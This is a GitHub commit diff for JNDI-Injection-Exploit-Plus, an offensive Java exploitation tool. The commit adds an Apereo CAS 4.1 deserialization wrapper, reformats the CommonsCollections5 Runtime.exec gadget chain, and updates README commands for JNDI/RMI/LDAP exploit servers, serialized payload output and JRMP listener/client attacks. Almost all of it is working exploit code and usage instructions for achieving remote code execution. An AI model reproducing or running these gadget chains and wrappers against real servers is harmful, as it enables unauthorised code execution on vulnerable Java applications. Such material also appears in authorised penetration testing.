Skip to content

Commit 595a928

Browse files
committed
add Apereo Wrapper
1 parent b87b886 commit 595a928

File tree

6 files changed

+59
-29
lines changed

6 files changed

+59
-29
lines changed

README.md

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -109,19 +109,20 @@ Some Wrappers to wrap Deserial Data.
109109
Wrapper | Example Vuls
110110
--------| -----------
111111
Xstream | CVE-2021-39149
112+
Apereo | Apereo 4.1 Deserialization RCE
112113

113114
- Example
114115

115116
```shell
116-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
117+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
117118
```
118119

119120
![](./img/4.png)
120121

121122
#### Web service to return Deserial Gadgets
122123

123124
```shell
124-
java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar
125+
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar
125126
```
126127

127128
```shell
@@ -141,7 +142,7 @@ P.S. Param wrapper & output is opetional
141142
Run as
142143

143144
```shell
144-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-A] [address]
145+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-A] [address]
145146
```
146147

147148
where:
@@ -171,7 +172,7 @@ Points for attention:
171172
Run as
172173

173174
```shell
174-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
175+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
175176
```
176177

177178
where:
@@ -189,13 +190,13 @@ where:
189190
- JRMPListener
190191

191192
```shell
192-
java -cp JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
193+
java -cp JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
193194
```
194195

195196
- JRMPClient
196197

197198
```shell
198-
java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
199+
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
199200
```
200201

201202
## Examples
@@ -207,7 +208,7 @@ Local demo:
207208
1. Start the tool like this:
208209

209210
```shell
210-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
211+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
211212
```
212213

213214
Screenshot:
@@ -238,7 +239,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
238239
### Deserialization Payloads
239240

240241
```shell
241-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
242+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
242243
```
243244

244245
Base64 Output Result:

README_zh.md

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ P.S. 具体利用链名称及依赖见 [表格](./README.md)
1919
#### 使用方法
2020

2121
```
22-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-A] [address]
22+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-A] [address]
2323
```
2424

2525
#### 参数说明
@@ -39,7 +39,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-A]
3939
1. 运行工具
4040

4141
```
42-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
42+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
4343
```
4444

4545
![](./img/1.png)
@@ -64,7 +64,7 @@ class Test{
6464
#### 使用方法
6565

6666
```
67-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
67+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
6868
```
6969

7070
#### 参数说明
@@ -84,7 +84,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar [-C] [command] [-D]
8484
1. 普通
8585

8686
```
87-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
87+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
8888
```
8989

9090
![](./img/3.png)
@@ -93,32 +93,33 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "/System/Applica
9393

9494
- JRMPListener
9595
```
96-
java -cp JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
96+
java -cp JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
9797
```
9898

9999
- JRMPClient
100100
```
101-
java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
101+
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102102
```
103103

104104
#### 提供反序列化包装器
105105

106106
包装器 | 示例漏洞
107107
--------| -----------
108108
Xstream | CVE-2021-39149
109+
Apereo | Apereo 4.1 反序列化漏洞
109110

110111
- 示例
111112

112113
```shell
113-
$ java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
114+
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
114115
```
115116

116117
![](./img/4.png)
117118

118119
#### 可以返回反序列化数据的web服务
119120

120121
```shell
121-
java -jar JNDI-Injection-Exploit-Plus-1.7-SNAPSHOT-all.jar
122+
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar
122123
```
123124

124125
```shell

pom.xml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.7-SNAPSHOT</version>
9+
<version>1.8-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -26,6 +26,11 @@
2626
<artifactId>xstream</artifactId>
2727
<version>1.4.19</version>
2828
</dependency>
29+
<dependency>
30+
<groupId>org.apereo</groupId>
31+
<artifactId>spring-webflow-client-repo</artifactId>
32+
<version>1.0.3</version>
33+
</dependency>
2934
<!-- https://mvnrepository.com/artifact/commons-codec/commons-codec -->
3035
<dependency>
3136
<groupId>commons-codec</groupId>

src/main/java/payloads/CommonsCollections5.java

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -48,32 +48,33 @@
4848
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
4949

5050
public BadAttributeValueExpException getObject(final String command) throws Exception {
51-
final String[] execArgs = new String[] { command };
51+
final String[] execArgs = new String[]{command};
5252
// inert chain for setup
5353
final Transformer transformerChain = new ChainedTransformer(
54-
new Transformer[]{ new ConstantTransformer(1) });
54+
new Transformer[]{new ConstantTransformer(1)});
5555
// real chain for after setup
56-
final Transformer[] transformers = new Transformer[] {
56+
final Transformer[] transformers = new Transformer[]{
5757
new ConstantTransformer(Runtime.class),
58-
new InvokerTransformer("getMethod", new Class[] {
59-
String.class, Class[].class }, new Object[] {
60-
"getRuntime", new Class[0] }),
61-
new InvokerTransformer("invoke", new Class[] {
62-
Object.class, Object[].class }, new Object[] {
63-
null, new Object[0] }),
58+
new InvokerTransformer("getMethod", new Class[]{
59+
String.class, Class[].class}, new Object[]{
60+
"getRuntime", new Class[0]}),
61+
new InvokerTransformer("invoke", new Class[]{
62+
Object.class, Object[].class}, new Object[]{
63+
null, new Object[0]}),
6464
new InvokerTransformer("exec",
65-
new Class[] { String.class }, execArgs),
66-
new ConstantTransformer(1) };
65+
new Class[]{String.class}, execArgs),
66+
new ConstantTransformer(1)};
6767

6868
final Map innerMap = new HashMap();
6969

7070
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
7171

7272
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
7373

74+
7475
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
7576
Field valfield = val.getClass().getDeclaredField("val");
76-
Reflections.setAccessible(valfield);
77+
Reflections.setAccessible(valfield);
7778
valfield.set(val, entry);
7879

7980
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

src/main/java/run/ServerStart.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import org.apache.commons.cli.*;
99
import org.apache.commons.codec.binary.Hex;
1010
import org.apache.commons.lang3.StringUtils;
11+
import org.apache.sshd.common.util.io.NullPrintStream;
1112
import payloads.ObjectPayload;
1213
import payloads.annotation.Authors;
1314
import payloads.annotation.Dependencies;
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package wrappers;
2+
3+
import org.apereo.spring.webflow.plugin.EncryptedTranscoder;
4+
5+
import java.io.IOException;
6+
import java.net.URLEncoder;
7+
import java.nio.charset.StandardCharsets;
8+
import java.util.Base64;
9+
import java.util.UUID;
10+
11+
public class ApereoWrap implements ObjectWrapper<byte[]> {
12+
public byte[] wrap(Object obj) throws IOException {
13+
String id = UUID.randomUUID().toString();
14+
EncryptedTranscoder et = new EncryptedTranscoder();
15+
byte[] bytecode = et.encode(obj);
16+
String payload = Base64.getEncoder().encodeToString(bytecode);
17+
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
18+
19+
return data.getBytes(StandardCharsets.UTF_8);
20+
}
21+
}

0 commit comments

Comments
 (0)